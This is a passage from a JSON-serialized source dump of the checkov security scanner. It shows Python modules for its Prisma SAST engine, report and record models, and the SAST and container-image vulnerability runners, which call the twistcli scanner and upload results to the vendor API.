sast_rule_matches\n                else:\n                    report.sast_report.rule_match = {}\n                self._update_sast_report_checks(report, cdk_reports)\n\n        return self._get_all_reports(sast_reports, cdk_reports)\n\n    @staticmethod\n    def _update_cdk_report(lang: SastLanguages, cdk_reports: List[CDKReport], sast_report: SastReport, policy_id: str, rule_match: RuleMatch) -> None:\n        if lang not in [c.language for c in cdk_reports]:\n            new_cdk_report = PrismaReport(rule_match={lang: {}}, errors=sast_report.sast_report.errors,\n                                          profiler=sast_report.sast_report.profiler,\n                                          run_metadata=sast_report.sast_report.run_metadata,\n                                          imports={}, reachability_report={}, skipped_checks_by_file={})\n            new_report = CDKReport(f'{CDK_FRAMEWORK_PREFIX}_{lang.value}', sast_report.sast_report.run_metadata, lang, new_cdk_report)\n            cdk_reports.append(new_report)\n        for cdk_report in cdk_reports:\n            if cdk_report.language == lang:\n                cdk_report.cdk_report.rule_match[lang][policy_id] = rule_match\n                for failed_check in sast_report.failed_checks:\n                    if failed_check.check_id == policy_id:\n                        cdk_report.failed_checks.append(failed_check)\n\n                for skiped_check in sast_report.skipped_checks:\n                    if skiped_check.check_id == policy_id:\n                        cdk_report.skipped_checks.append(skiped_check)\n                break\n\n    def _update_sast_report_checks(self, report: SastReport, cdk_reports: List[CDKReport]) -> None:\n        sast_failed_checks = []\n        sast_skiped_checks = []\n\n        if report.language not in [c.language for c in cdk_reports]:\n            report.failed_checks = report.failed_checks\n            report.skipped_checks = report.skipped_checks\n            return\n\n        for cdk_report in cdk_reports:\n            fail_check = self._get_sast_check(report, cdk_report, report.failed_checks)\n            if fail_check:\n                sast_failed_checks.append(fail_check)\n            skip_check = self._get_sast_check(report, cdk_report, report.skipped_checks)\n            if skip_check:\n                sast_skiped_checks.append(skip_check)\n\n        report.failed_checks = sast_failed_checks\n        report.skipped_checks = sast_skiped_checks\n\n    @staticmethod\n    def _get_sast_check(sast_report: SastReport, cdk_report: CDKReport, sast_report_checks: List[Any]) -> Any:\n        for check in sast_report_checks:\n            if sast_report.language == cdk_report.language and check.check_id not in [s.check_id for s in cdk_report.skipped_checks]:\n                return check\n        return None\n\n    def _get_all_reports(self, sast_reports: List[SastReport], cdk_reports: List[CDKReport]) -> List[Union[SastReport, CDKReport]]:\n        all_reports = []\n        for report in sast_reports + cdk_reports:\n            if report.check_type.startswith('cdk'):\n                if report.cdk_report.rule_match:  # type: ignore\n                    all_reports.append(report)\n                    continue\n            if report.check_type.startswith('sast'):\n                if report.sast_report.rule_match or report.sast_reachability or report.sast_imports:  # type: ignore\n                    all_reports.append(report)\n                    continue\n        return all_reports\n\n    def get_policies(self, languages: Set[SastLanguages]) -> SastPolicies:\n        if not bc_integration.bc_api_key:\n            logging.info(\"The --bc-api-key flag needs to be set to run Sast prisma scanning\")\n            return []\n\n        self.setup_sast_artifact()\n        prisma_lib_path = self.get_sast_artifact()\n        if not prisma_lib_path:\n            return []\n\n        self.lib_path = str(prisma_lib_path)\n\n        library_input: LibraryInput = {\n            'languages': languages,\n            'list_policies': True,\n            'source_codes': [],\n            'policies': [],\n            'checks': [],\n            'skip_checks': [],\n            'check_threshold': Severities[BcSeverities.NONE],\n            'skip_check_threshold': Severities[BcSeverities.NONE],\n            'platform_check_metadata': policy_metadata_integration.sast_check_metadata,\n            'skip_path': [],\n            'report_imports': False,\n            'report_reachability': False,\n            'cdk_languages': []\n        }\n        prisma_result = self.run_go_library(**library_input)\n        return prisma_result\n\n\ndef validate_params(languages: Set[SastLanguages],\n                    source_codes: List[str],\n                    list_policies: bool) -> None:\n    if list_policies:\n        return\n\n    if len(source_codes) == 0:\n        raise Exception('must provide source code file or dir for sast runner')\n\n    if len(languages) == 0:\n        raise Exception('must provide a language for sast runner')\n\n\ndef get_machine() -> str:\n    machine = platform.machine().lower()\n    if machine in ['amd64', 'x86', 'x86_64', 'x64']:\n        return \"amd64\"\n\n    if machine in ['arm', 'arm64', 'armv8', 'aarch64', 'arm64-v8a']:\n        return 'arm64'\n\n    return ''\n\n\ndef get_reachability_data(repo_path: str) -> Dict[str, Any]:\n    fetcher = SastReachabilityDataFetcher()\n    reachability_data = fetcher.fetch(repository_name=repo_path, repository_root_dir=repo_path)\n    data: Dict[str, Any] = {}\n    if not reachability_data:\n        return data\n    langs = reachability_data.aliasMapping.get(\"languages\")\n    if not langs:\n        return {}\n    for lang, lang_data in langs.items():\n        if lang == \"nodejs\":\n            lang = \"javascript\"\n        data[lang] = {\"package_alias\": {}}\n        for _, files in lang_data.get(\"repositories\", {}).items():\n            for _, files_data in files.get(\"files\", {}).items():\n                for original_package_name, package_alias in files_data.get(\"packageAliases\", {}).items():\n                    aliases = package_alias.get(\"packageAliases\", [])\n                    if aliases:\n                        data[lang][\"package_alias\"][original_package_name] = aliases[0]\n    return data\n"
  },
  {
    "path": "checkov/sast/prisma_models/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/sast/prisma_models/library_input.py",
    "content": "from typing import Set, List, Dict, Any\n\nfrom checkov.common.bridgecrew.severities import Severity\nfrom checkov.common.sast.consts import SastLanguages, CDKLanguages\nimport sys\nif sys.version_info < (3, 11):\n    from typing_extensions import TypedDict, NotRequired\nelse:\n    from typing import TypedDict, NotRequired\n\n\nclass LibraryInput(TypedDict):\n    languages: Set[SastLanguages]\n    source_codes: List[str]\n    policies: List[str]\n    checks: List[str]\n    skip_checks: List[str]\n    skip_path: List[str]\n    check_threshold: Severity\n    skip_check_threshold: Severity\n    platform_check_metadata: Dict[str, Any]\n    list_policies: NotRequired[bool]\n    report_imports: bool\n    remove_default_policies: NotRequired[bool]\n    report_reachability: bool\n    cdk_languages: List[CDKLanguages]\n"
  },
  {
    "path": "checkov/sast/prisma_models/policies_list.py",
    "content": "from typing import Dict, Any, List, Union\nfrom pydantic import BaseModel, create_model\n\nfrom checkov.common.sast.consts import SastLanguages\n\n\nclass SastPolicyMetadataEntry(BaseModel):\n    ID: str  # noqa: CCE003\n    Name: str  # noqa: CCE003\n    Guidelines: str  # noqa: CCE003\n    Category: str  # noqa: CCE003\n    Severity: str  # noqa: CCE003\n    CWE: List[str]  # noqa: CCE003\n    OWASP: Union[List[str], None]  # noqa: CCE003\n\n\nclass SastPolicyEntry(BaseModel):\n    Metadata: SastPolicyMetadataEntry  # noqa: CCE003\n    Language: SastLanguages  # noqa: CCE003\n    Definition: Dict[str, Any]  # noqa: CCE003\n\n\n# dynamically typing the object of SastPolicies\nfields = {lang.value: (List[SastPolicyEntry], []) for lang in SastLanguages}  # type: ignore\nSastPolicies = create_model('SastPolicies', **fields)  # type: ignore\n"
  },
  {
    "path": "checkov/sast/record.py",
    "content": "from typing import List, Dict, Any, Tuple, Optional, Union\n\nfrom termcolor import colored\n\nfrom checkov.common.bridgecrew.severities import Severity\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.typing import _CheckResult\nfrom checkov.common.sast.report_types import MatchMetadata, MatchLocation\n\n\nclass SastRecord(Record):\n    def __init__(self,\n                 check_id: str,\n                 check_name: str,\n                 check_result: _CheckResult,\n                 code_block: List[Tuple[int, str]],\n                 file_path: str,\n                 file_line_range: List[int],\n                 resource: str,\n                 evaluations: Optional[Dict[str, Any]],\n                 check_class: str,\n                 file_abs_path: str,\n                 severity: Optional[Severity],\n                 metadata: Optional[MatchMetadata] = None,\n                 bc_check_id: Optional[str] = None,\n                 cwe: Optional[Union[List[str], str]] = None,\n                 owasp: Optional[Union[List[str], str]] = None,\n                 show_severity: Optional[bool] = False  # should be false in case the severities are just a default value\n                 ) -> None:\n        super().__init__(\n            check_id=check_id,\n            bc_check_id=bc_check_id,\n            check_name=check_name,\n            check_result=check_result,\n            code_block=code_block,\n            file_path=file_path,\n            file_line_range=file_line_range,\n            resource=resource,\n            evaluations=evaluations,\n            check_class=check_class,\n            file_abs_path=file_abs_path,\n            severity=severity,\n        )\n        self.cwe = cwe\n        self.owasp = owasp\n        self.show_severity = show_severity\n        self.metadata = metadata\n\n    def to_string(self, compact: bool = False, use_bc_ids: bool = False) -> str:\n        status = \"\"\n        status_color = \"white\"\n        suppress_comment = \"\"\n        if self.check_result[\"result\"] == CheckResult.PASSED:\n            status = CheckResult.PASSED.name\n            status_color = \"green\"\n        elif self.check_result[\"result\"] == CheckResult.FAILED:\n            status = CheckResult.FAILED.name\n            status_color = \"red\"\n        elif self.check_result[\"result\"] == CheckResult.SKIPPED:\n            status = CheckResult.SKIPPED.name\n            status_color = \"blue\"\n            suppress_comment = \"\\tSuppress comment: {}\\n\".format(self.check_result.get(\"suppress_comment\", \"\"))\n\n        check_message = colored('Check: {}: \"{}\"\\n'.format(self.get_output_id(use_bc_ids), self.check_name),\n                                \"white\")\n        guideline_message = self.get_guideline_string(self.guideline)\n\n        severity_message = f'\\tSeverity: {self.severity.name}\\n' if self.severity and self.show_severity else ''\n\n        evaluation_message = self.get_evaluation_string(self.evaluations, self.code_block)\n\n        cwe_message = colored(f'\\t{self.cwe}\\n') if self.cwe else ''\n\n        if self.metadata and self.metadata.taint_mode and self.metadata.taint_mode.data_flow and \\\n                len(self.metadata.taint_mode.data_flow) > 0:\n            code_lines, file_details = self.get_code_lines_taint(self.metadata.taint_mode.data_flow)\n        else:\n            file_details = f'{self.file_path}:{\" -> \".join([str(x) for x in self.file_line_range])}' if \\\n                self.file_line_range[0] != self.file_line_range[-1] else \\\n                f'{self.file_path}:{str(self.file_line_range[0])}'\n            code_lines = self.get_code_lines_string(self.code_block)\n\n        detail = self.get_details_string(self.details)\n        caller_file_details = self.get_caller_file_details_string(self.caller_file_path, self.caller_file_line_range)\n        status_message = colored(\"\\t{} for file - {}\\n\".format(status, file_details), status_color)\n\n        if self.check_result[\"result\"] == CheckResult.FAILED and code_lines and not compact:\n            return f\"{check_message}{severity_message}{status_message}{cwe_message}{detail}{caller_file_details}{guideline_message}{code_lines}{evaluation_message}\\n\"\n\n        if self.check_result[\"result\"] == CheckResult.SKIPPED:\n            return f\"{check_message}{severity_message}{status_message}{cwe_message}{suppress_comment}{detail}{caller_file_details}{guideline_message}\\n\"\n        else:\n            return f\"{check_message}{severity_message}{status_message}{cwe_message}{detail}{caller_file_details}{evaluation_message}{guideline_message}\\n\"\n\n    def get_code_lines_taint(self, dataflows: List[MatchLocation]) -> Tuple[str, str]:\n        code_lines = \"\"\n        last_file = dataflows[0].path.split('/')[-1]\n        last_line_num = dataflows[0].start.row\n        code_lines += colored(\"\\t\\t\" + last_file, 'light_yellow')\n        file_details = last_file\n        for df in dataflows:\n            cur_file = df.path.split('/')[-1]\n            cur_line_num = df.start.row\n            if cur_file != last_file:\n                code_lines += colored(\"\\t\\t\" + cur_file, 'light_yellow')\n                file_details += \"->\" + cur_file\n                last_file = cur_file\n            else:\n                if cur_line_num != last_line_num and cur_line_num != last_line_num + 1:\n                    code_lines += colored(\"\\t\\t...\", 'light_yellow')\n            code_lines += self.get_code_lines_string([(cur_line_num, df.code_block)])\n            file_details += \"->\" + str(cur_line_num)\n            last_line_num = cur_line_num\n        return code_lines, file_details\n"
  },
  {
    "path": "checkov/sast/report.py",
    "content": "import logging\nfrom typing import Any, Dict, Union, List, Optional\n\nfrom checkov.common.output.report import Report\nfrom checkov.common.sast.consts import POLICIES_ERRORS, POLICIES_ERRORS_COUNT, SOURCE_FILES_COUNT, POLICY_COUNT, SastLanguages\nfrom checkov.common.sast.report_types import PrismaReport\n\n\nclass SastReport(Report):\n    def __init__(self, check_type: str, metadata: Dict[str, Optional[Union[str, int, List[str]]]], language: SastLanguages, sast_report: PrismaReport):\n        super().__init__(check_type)\n        self.metadata = metadata\n        self.language: SastLanguages = language\n        self.sast_imports: Dict[str, Any] = {}\n        self.sast_reachability: Dict[str, Any] = {}\n        self.sast_report: PrismaReport = sast_report\n\n    @property\n    def errors(self) -> Dict[str, Any]:\n        return {k: v for k, v in self.sast_report.errors.items() if isinstance(v, str) and \"policy\" not in v.lower()}\n\n    def get_summary(self) -> Dict[str, Union[int, str]]:\n        base_summary: Dict[str, Union[int, str]] = super().get_summary()\n\n        err_str = \"\"\n        policies_errors_count = 0\n        policies_errors = self.metadata.get(POLICIES_ERRORS)\n        if isinstance(policies_errors, list) and policies_errors:\n            policies_errors_count = len(policies_errors)\n            for e in policies_errors:\n                err_str += f\"\\t- {e}\\n\"\n        base_summary[POLICIES_ERRORS] = err_str\n        base_summary[POLICIES_ERRORS_COUNT] = policies_errors_count\n        source_files_count = self.metadata.get(SOURCE_FILES_COUNT)\n        if isinstance(source_files_count, int) or isinstance(source_files_count, str):\n            base_summary[SOURCE_FILES_COUNT] = str(source_files_count)\n\n        policy_count = self.metadata.get(POLICY_COUNT)\n        if isinstance(policy_count, int) or isinstance(policy_count, str):\n            base_summary[POLICY_COUNT] = policy_count\n\n        return base_summary\n\n    @staticmethod\n    def get_formated_reachability_report(reachability_report_dict: Dict[SastLanguages, Any]) -> Dict[str, Any]:\n        formated_report: Dict[str, Any] = {}\n        for lang, repos_data in reachability_report_dict.items():\n            formated_report[lang.value] = []\n            for repo_name, files_data in repos_data.items():\n                new_repo = {'Name': repo_name, 'Files': []}\n                for file_path, packages_data in files_data['files'].items():\n                    new_file = {'Path': file_path, 'Packages': []}\n                    for package_name, package_data in packages_data['packages'].items():\n                        new_package = {'Name': package_name, 'Alias': package_data['alias'], 'Functions': []}\n                        for func in package_data['functions']:\n                            new_func = {'Name': func['name'], 'Alias': func['alias'], 'LineNumber': func['line_number'], 'CodeBlock': [func['code_block']], 'CveId': func.get('cve_id', '')}\n                            new_package['Functions'].append(new_func)\n                        new_file['Packages'].append(new_package)\n                    new_repo['Files'].append(new_file)\n                formated_report[lang.value].append(new_repo)\n        return formated_report\n\n\nclass SastData:\n    def __init__(self) -> None:\n        self.imports_data: Optional[Dict[str, Any]] = None\n        self.reachability_report: Optional[Dict[str, Any]] = None\n\n    def set_imports_data(self, imports_data: Dict[str, Any]) -> None:\n        self.imports_data = imports_data\n\n    def set_reachability_report(self, reachability_report: Dict[str, Any]) -> None:\n        self.reachability_report = reachability_report\n\n    @staticmethod\n    def get_sast_import_report(scan_reports: List[SastReport]) -> Dict[str, Any]:\n        sast_imports_report: Dict[SastLanguages, Any] = {}\n        for report in scan_reports:\n            sast_imports_report[report.language] = {}\n        for report in scan_reports:\n            for file_name, all_data in report.sast_imports.items():\n                current_imports = all_data.get('all', [])\n                if current_imports:\n                    sast_imports_report[report.language][file_name] = {'all': current_imports}\n                    aliases = all_data.get('aliases', {})\n                    sast_imports_report[report.language][file_name]['aliases'] = aliases\n        return {\"imports\": sast_imports_report}\n\n    @staticmethod\n    def get_sast_reachability_report(scan_reports: List[SastReport]) -> Dict[str, Any]:\n        first_found_repo_name = None\n        sast_reachability_report: Dict[SastLanguages, Any] = {}\n        for report in scan_reports:\n            sast_reachability_report[report.language] = {}\n        for report in scan_reports:\n            for repo_name, repo_data in report.sast_reachability.items():\n\n                # validating we are dealing only with one repo, as it happens for imports report\n                if first_found_repo_name:\n                    if repo_name != first_found_repo_name:\n                        logging.error(f'[get_sast_reachability_report] - found more than one repository in '\n                                      f'the scan reports. {scan_reports}')\n                        return {\"reachability\": {}}\n                else:\n                    first_found_repo_name = repo_name\n\n                for file_name, file_data in repo_data.files.items():\n                    sast_reachability_report[report.language][file_name] = file_data\n        return {\"reachability\": sast_reachability_report}\n"
  },
  {
    "path": "checkov/sast/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nimport sys\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.output.report import Report\nfrom checkov.common.runners.base_runner import BaseRunner\nfrom checkov.common.sast.consts import SUPPORT_FILE_EXT, FILE_EXT_TO_SAST_LANG, CDKLanguages, CDK_CHECKS_DIR_PATH\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.sast.checks_infra.base_registry import Registry\nfrom checkov.sast.engines.prisma_engine import PrismaEngine, get_machine\n\nfrom typing import List, Optional\n\nlogger = logging.getLogger(__name__)\n\n\nclass Runner(BaseRunner[None, None, None]):\n    check_type = CheckType.SAST  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        super().__init__(file_extensions=[\".\" + a for a in FILE_EXT_TO_SAST_LANG.keys()])\n        self.registry = Registry()\n        self.engine = PrismaEngine()  # noqa: disallow-untyped-calls\n        self.cdk_langs: List[CDKLanguages] = []\n\n    def should_scan_file(self, file: str) -> bool:\n        for extensions in SUPPORT_FILE_EXT.values():\n            for extension in extensions:\n                if file.endswith(extension):\n                    return True\n        return False\n\n    def run(self, root_folder: Optional[str],\n            external_checks_dir: Optional[List[str]] = None,\n            files: Optional[List[str]] = None,\n            runner_filter: Optional[RunnerFilter] = None,\n            collect_skip_comments: bool = True) -> List[Report]:\n\n        # We support only windows amd\n        if sys.platform.startswith('win') and not get_machine() == \"amd64\":\n            logger.warning('Skip SAST for windows arm')\n            # TODO: Enable SAST for windows arm runners.\n            return [Report(self.check_type)]\n        if not runner_filter:\n            logger.warning('no runner filter')\n            return [Report(self.check_type)]\n\n        if bc_integration.daemon_process:\n            # only happens for 'ParallelizationType.SPAWN'\n            bc_integration.setup_http_manager()\n            bc_integration.set_s3_client()\n\n        # registry get all the paths\n        self.registry.set_runner_filter(runner_filter)\n        self.registry.add_external_dirs(external_checks_dir)\n\n        targets = []\n        if root_folder:\n            if not os.path.isabs(root_folder):\n                root_folder = os.path.abspath(root_folder)\n            targets.append(root_folder)\n        if files:\n            targets.extend([a if os.path.isabs(a) else os.path.abspath(a) for a in files])\n\n        if self.cdk_langs:\n            self.registry.checks_dirs_path.append(str(CDK_CHECKS_DIR_PATH))\n\n        reports = []\n        try:\n            reports = self.engine.get_reports(targets, self.registry, runner_filter.sast_languages, self.cdk_langs)\n        except BaseException as e:  # noqa: B036\n            logger.error(f\"got error when try to run prisma sast: {e}\")\n\n        return reports\n"
  },
  {
    "path": "checkov/sca_image/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/sca_image/models.py",
    "content": "from __future__ import annotations\nfrom dataclasses import dataclass\nfrom typing import Any\n\n\n@dataclass\nclass ReportCVE:\n    cveId: str\n    status: str\n    severity: str\n    packageName: str\n    packageVersion: str\n    link: str | None\n    publishedDate: str\n    cvss: int | None\n    vector: str | None\n    description: str | None\n    riskFactors: Any | None\n"
  },
  {
    "path": "checkov/sca_image/runner.py",
    "content": "from __future__ import annotations\n\nimport asyncio\nimport json\nimport logging\nimport os.path\nfrom collections.abc import Iterable\nfrom pathlib import Path\nfrom typing import Optional, Union, Dict, Any\n\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.bridgecrew.platform_key import bridgecrew_dir\nfrom checkov.common.bridgecrew.vulnerability_scanning.image_scanner import image_scanner, TWISTCLI_FILE_NAME\nfrom checkov.common.bridgecrew.vulnerability_scanning.integrations.docker_image_scanning import \\\n    docker_image_scanning_integration\nfrom checkov.common.images.image_referencer import ImageReferencer, Image\nfrom checkov.common.output.report import Report, merge_reports\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.output.common import ImageDetails\nfrom checkov.common.models.enums import ErrorStatus\nfrom checkov.common.runners.base_runner import filter_ignored_paths, strtobool\nfrom checkov.common.sca.commons import should_run_scan\nfrom checkov.common.sca.output import add_to_report_sca_data, get_license_statuses\nfrom checkov.common.util.file_utils import compress_file_gzip_base64\nfrom checkov.common.util.dockerfile import is_dockerfile\nfrom checkov.common.util.http_utils import request_wrapper\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.sca_package_2.runner import Runner as PackageRunner\n\n\nclass Runner(PackageRunner):\n    check_type = CheckType.SCA_IMAGE  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        super().__init__(report_type=self.check_type)\n        self._check_class: Optional[str] = None\n        self._code_repo_path: Optional[Path] = None\n        self._check_class = f\"{image_scanner.__module__}.{image_scanner.__class__.__qualname__}\"\n        self.raw_report: Optional[Dict[str, Any]] = None\n        self.base_url = bc_integration.api_url\n        self.image_referencers: set[ImageReferencer] | None = None\n\n    def should_scan_file(self, filename: str) -> bool:\n        return is_dockerfile(os.path.basename(filename))\n\n    def scan(\n            self,\n            image_id: str,\n            dockerfile_path: str,\n            runner_filter: RunnerFilter | None = None,\n    ) -> Dict[str, Any] | None:\n        runner_filter = runner_filter or RunnerFilter()\n\n        # skip complete run, if flag '--check' was used without a CVE check ID or the license policies\n        if not should_run_scan(runner_filter.checks):\n            return {}\n\n        if not bc_integration.bc_api_key:\n            logging.info(\"The --bc-api-key flag needs to be set to run SCA package scanning\")\n            return {}\n\n        logging.info(f\"SCA image scanning is scanning the image {image_id}\")\n\n        cached_results: Dict[str, Any] | None = image_scanner.get_scan_results_from_cache(image_id)\n        if cached_results:\n            logging.info(f\"Found cached scan results of image {image_id}\")\n            return cached_results\n\n        setup_status: bool = image_scanner.setup_scan(image_id, dockerfile_path, skip_extract_image_name=False)\n        if not setup_status:\n            return None\n        if not setup_status:\n            return None\n        output_path = Path(f'results-{image_id}.json')\n        scan_result = asyncio.run(self.execute_scan(image_id, output_path))\n        self.upload_results_to_cache(output_path, image_id)\n        logging.info(f\"SCA image scanning successfully scanned the image {image_id}\")\n        return scan_result\n\n    async def execute_scan(\n            self,\n            image_id: str,\n            output_path: Path,\n    ) -> Dict[str, Any]:\n        command = f\"{Path(bridgecrew_dir) / TWISTCLI_FILE_NAME} images scan --address {docker_image_scanning_integration.get_proxy_address()} --token {docker_image_scanning_integration.get_bc_api_key()} --details --output-file \\\"{output_path}\\\" {image_id}\"\n        process = await asyncio.create_subprocess_shell(\n            command, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE\n        )\n\n        stdout, stderr = await process.communicate()\n\n        # log output for debugging\n        try:\n            logging.debug(stdout.decode())\n        except UnicodeDecodeError:\n            logging.error(\"error was caught when trying to decode the \\'stdout\\' from twistcli.\\n\"\n                          f\"file content is:\\n{image_scanner.dockerfile_content}.\\n\"\n                          f\"twistcli command is \\'{command}\\'\", exc_info=True)\n\n        exit_code = await process.wait()\n\n        if exit_code:\n            logging.error(f\"error when running twistcli on image_id {image_id}\")\n            logging.error(stderr.decode())\n            return {}\n\n        # read the report file\n        scan_result: Dict[str, Any] = json.loads(output_path.read_text())\n\n        return scan_result\n\n    def upload_results_to_cache(self, output_path: Path, image_id: str) -> None:\n        try:\n            image_id_sha = f\"sha256:{image_id}\" if not image_id.startswith(\"sha256:\") else image_id\n\n            request_body = {\n                \"compressedResult\": compress_file_gzip_base64(str(output_path)),\n                \"compressionMethod\": \"gzip\",\n                \"id\": image_id_sha\n            }\n            response = request_wrapper(\n                \"POST\", f\"{self.base_url}/api/v1/vulnerabilities/scan-results\",\n                headers=bc_integration.get_default_headers(\"POST\"), data=json.dumps(request_body)\n            )\n\n            if response.ok:\n                logging.info(f\"Successfully uploaded scan results to cache with id={image_id}\")\n            else:\n                logging.info(f\"Failed to upload scan results to cache with id={image_id}\")\n\n            output_path.unlink()\n        except Exception:\n            logging.debug(\n                \"Unexpected failure happened during uploading results to cache. details are below.\\n\"\n                \"Note that the scan is still running. if this is repeated, please report.\", exc_info=True)\n\n    def run(\n            self,\n            root_folder: str | Path | None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n            **kwargs: str\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        self._code_repo_path = Path(root_folder) if root_folder else None\n\n        if \"dockerfile_path\" in kwargs and \"image_id\" in kwargs:\n            dockerfile_path = kwargs['dockerfile_path']\n            image_id = kwargs['image_id']\n            return self.get_image_id_report(dockerfile_path, image_id, runner_filter)\n        report = Report(self.check_type)\n        if not files and not root_folder:\n            logging.debug(\"No resources to scan.\")\n            return report\n        if files:\n            self.pbar.initiate(len(files))\n            # 'root_folder' should contain the common prefix so the absolute full path can be shortened later\n            root_folder = os.path.split(os.path.commonprefix(files))[0]\n\n            for file in files:\n                self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(file, root_folder)})\n                self.iterate_image_files(file, report, runner_filter)\n                self.pbar.update()\n            self.pbar.close()\n        if self._code_repo_path:\n            for root, d_names, f_names in os.walk(self._code_repo_path):\n                filter_ignored_paths(root, d_names, runner_filter.excluded_paths, included_paths=self.included_paths())\n                filter_ignored_paths(root, f_names, runner_filter.excluded_paths, included_paths=self.included_paths())\n                for file in f_names:\n                    abs_fname = os.path.join(root, file)\n                    self.iterate_image_files(abs_fname, report, runner_filter, self._code_repo_path)\n        return report\n\n    def iterate_image_files(self, abs_fname: str, report: Report, runner_filter: RunnerFilter,\n                            root_folder: Union[str, Path, None] = None) -> None:\n        \"\"\"\n        Get workflow file, and get the list of images from every relevant imagereferencer, and create a unified vulnrability report\n        :param root_folder: for CLI scans - the directory in which checkov runs\n        :param abs_fname: file path to inspect\n        :param report: unified report object\n        :param runner_filter: filter for report\n        \"\"\"\n        if not self.image_referencers:\n            return\n        for image_referencer in self.image_referencers:\n            if image_referencer.is_workflow_file(abs_fname):\n                images = image_referencer.get_images(file_path=abs_fname)\n                for image in images:\n                    image_cached_result: Dict[str, Any] | None = image_scanner.get_scan_results_from_cache(\n                        f\"image:{image.name}\")\n\n                    image_cached_report: dict[str, Any] = self.get_image_cached_results(dockerfile_path=abs_fname,\n                                                                                        image=image,\n                                                                                        image_cached_result=image_cached_result,\n                                                                                        root_folder=root_folder)\n                    if image_cached_report:\n                        report.image_cached_results.append(image_cached_report)\n\n                    if strtobool(os.getenv('CHECKOV_CREATE_SCA_IMAGE_REPORTS_FOR_IR', \"True\")):\n                        image_report = self.get_image_report(dockerfile_path=abs_fname, image=image,\n                                                             runner_filter=runner_filter,\n                                                             image_cached_result=image_cached_result)\n                        merge_reports(report, image_report)\n\n    def get_report_from_scan_result(self, result: Dict[str, Any], dockerfile_path: str, rootless_file_path: str,\n                                    image_details: ImageDetails | None, runner_filter: RunnerFilter) -> Report:\n        report = Report(self.check_type)\n        vulnerabilities = result.get(\"vulnerabilities\", [])\n        packages = result.get(\"packages\", [])\n        license_statuses = get_license_statuses(packages)\n\n        add_to_report_sca_data(\n            report=report,\n            check_class=self._check_class,\n            scanned_file_path=os.path.abspath(dockerfile_path),\n            rootless_file_path=rootless_file_path,\n            runner_filter=runner_filter,\n            vulnerabilities=vulnerabilities,\n            packages=packages,\n            license_statuses=license_statuses,\n            sca_details=image_details,\n            report_type=self.report_type\n        )\n        return report\n\n    def get_image_cached_results(self, dockerfile_path: str, image: Image, image_cached_result: Dict[str, Any] | None,\n                                 root_folder: Union[str, Path, None] = None) -> dict[str, Any]:\n        \"\"\"\n            :param image_cached_result: twistcli result for image as saved in cache\n            :param root_folder: for CLI scans - the directory in which checkov runs\n            :param dockerfile_path: path of a file that might contain a container image\n            :param image: Image object\n            :return: cached_results report\n        \"\"\"\n\n        if not image_cached_result:\n            # TODO: do we want to trigger a scan in this case?\n            logging.info(\n                f\"No cache hit for image {image.name} when getting cached results for dockerfile {dockerfile_path}\")\n            return {}\n        payload: dict[str, Any] = docker_image_scanning_integration.create_report(\n            twistcli_scan_result=image_cached_result,\n            bc_platform_integration=bc_integration,\n            file_path=dockerfile_path,\n            file_content=f'image: {image.name}',\n            docker_image_name=image.name,\n            related_resource_id=image.related_resource_id,\n            root_folder=root_folder,\n            error_lines=[image.start_line, image.end_line])\n        return payload\n\n    def get_image_report(self, dockerfile_path: str, image: Image, runner_filter: RunnerFilter,\n                         image_cached_result: Dict[str, Any] | None) -> Report:\n        \"\"\"\n\n        :param dockerfile_path: path of a file that might contain a container image\n        :param image: Image object\n        :param runner_filter:\n        :return: vulnerability report\n        \"\"\"\n        # skip complete run, if flag '--check' was used without a CVE check ID\n        if not should_run_scan(runner_filter.checks):\n            return Report(self.check_type)\n\n        if image_cached_result:\n            logging.info(f\"Found cached scan results of image {image.name}\")\n            self.raw_report = image_cached_result\n            result = image_cached_result.get('results', [{}])[0]\n            image_id = self.extract_image_short_id(result)\n            image_details = self.get_image_details_from_twistcli_result(scan_result=result, image_id=image_id,\n                                                                        image_name=image.name,\n                                                                        related_resource_id=image.related_resource_id)\n            if self._code_repo_path:\n                try:\n                    dockerfile_path = str(Path(dockerfile_path).relative_to(self._code_repo_path))\n                except ValueError:\n                    # Path.is_relative_to() was implemented in Python 3.9\n                    pass\n            rootless_file_path = dockerfile_path.replace(Path(dockerfile_path).anchor, \"\", 1)\n            rootless_file_path_to_report = f\"{rootless_file_path} ({image.name} lines:{image.start_line}-\" \\\n                                           f\"{image.end_line} ({image_id}))\"\n            return self.get_report_from_scan_result(result, dockerfile_path, rootless_file_path_to_report,\n                                                    image_details, runner_filter)\n        else:\n            logging.info(f\"No cache hit for image {image.name}\")\n\n        return Report(self.check_type)\n\n    def get_image_id_report(self, dockerfile_path: str, image_id: str, runner_filter: RunnerFilter) -> Report:\n        \"\"\"\n        THIS METHOD HANDLES CUSTOM IMAGE SCANNING THAT COMES DIRECTLY FROM CLI PARAMETERS\n        \"\"\"\n        scan_result = self.scan(image_id, dockerfile_path, runner_filter)\n        if scan_result is None:\n            report = Report(self.check_type)\n            report.set_error_status(ErrorStatus.ERROR)\n            return report\n        self.raw_report = scan_result\n        result = scan_result.get('results', [{}])[0]\n        image_details = self.get_image_details_from_twistcli_result(scan_result=result, image_id=image_id)\n        if self._code_repo_path:\n            try:\n                dockerfile_path = str(Path(dockerfile_path).relative_to(self._code_repo_path))\n            except ValueError:\n                # Path.is_relative_to() was implemented in Python 3.9\n                pass\n        rootless_file_path = dockerfile_path.replace(Path(dockerfile_path).anchor, \"\", 1)\n        